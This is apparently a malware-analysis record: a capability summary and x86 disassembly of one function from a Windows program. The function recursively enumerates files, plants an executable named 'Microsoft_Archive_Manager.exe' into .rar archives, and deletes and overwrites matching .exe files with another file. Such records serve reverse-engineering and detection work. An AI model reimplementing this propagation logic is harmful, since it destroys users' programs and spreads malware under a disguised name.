Function at 0x40338e
Capabilities:
Copy file
Delete file
Enumerate files on windows
Enumerate files recursively
Set current directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x688
and dword [ebp - 4], 0
push 0x208
push 0
lea eax, [ebp - 0x670]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
push 0
lea eax, [ebp - 0x468]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x258]
push eax
push 0x40688c
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0xffffffff
je 0x40360f
movzx eax, word [ebp - 0x22c]
cmp eax, 0x2e
je 0x4035e8
mov eax, dword [ebp - 0x258]
and eax, 0x10
mov dword [ebp - 0x258], eax
je 0x403434
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
cmp eax, 1
jne 0x40342f
call fcn.0040338e
push 0x406894
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
jmp 0x4035e8
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x468]
push eax
push 0x104
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
je 0x4035e8
push str.Recycle.Bin
lea eax, [ebp - 0x468]
push eax
call fcn.00401000
pop ecx
pop ecx
test eax, eax
jne 0x4035e8
lea eax, [ebp - 0x468]
mov dword [ebp - 0x67c], eax
lea eax, [ebp - 0x670]
mov dword [ebp - 0x680], eax
mov eax, dword [ebp - 0x680]
mov dword [ebp - 0x684], eax
mov eax, dword [ebp - 0x67c]
mov ax, word [eax]
mov word [ebp - 0x686], ax
mov eax, dword [ebp - 0x680]
mov cx, word [ebp - 0x686]
mov word [eax], cx
mov eax, dword [ebp - 0x67c]
inc eax
inc eax
mov dword [ebp - 0x67c], eax
mov eax, dword [ebp - 0x680]
inc eax
inc eax
mov dword [ebp - 0x680], eax
cmp word [ebp - 0x686], 0
jne 0x403498
lea eax, [ebp - 0x670]
push eax
call dword [sym.imp.USER32.dll_CharLowerW]
push str..rar
lea eax, [ebp - 0x670]
push eax
call fcn.00401000
pop ecx
pop ecx
test eax, eax
je 0x403520
push 0x80
push str.Microsoft_Archive_Manager.exe
push 0x408260
lea eax, [ebp - 0x468]
push eax
call fcn.00401292
add esp, 0x10
push 0x1b58
call dword [sym.imp.KERNEL32.dll_Sleep]
and dword [ebp - 0x674], 0
jmp 0x403541
mov eax, dword [ebp - 0x674]
inc eax
mov dword [ebp - 0x674], eax
cmp dword [ebp - 0x674], 8
jae 0x4035e0
mov eax, dword [ebp - 0x674]
push dword [eax*4 + 0x408020]
lea eax, [ebp - 0x670]
push eax
call fcn.00401000
pop ecx
pop ecx
test eax, eax
je 0x4035db
lea eax, [ebp - 0x670]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x678], eax
cmp dword [ebp - 0x678], 0
je 0x4035db
push str..exe
push dword [ebp - 0x678]
call fcn.00401000
pop ecx
pop ecx
test eax, eax
je 0x4035db
push 0x80
push dword [ebp - 0x678]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push dword [ebp - 0x678]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea eax, [ebp - 0x468]
push eax
push 0x408260
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp 0x403534
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x258]
push eax
push dword [ebp - 0x25c]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4033ec
push dword [ebp - 0x25c]
call dword [sym.imp.KERNEL32.dll_FindClose]
leave
ret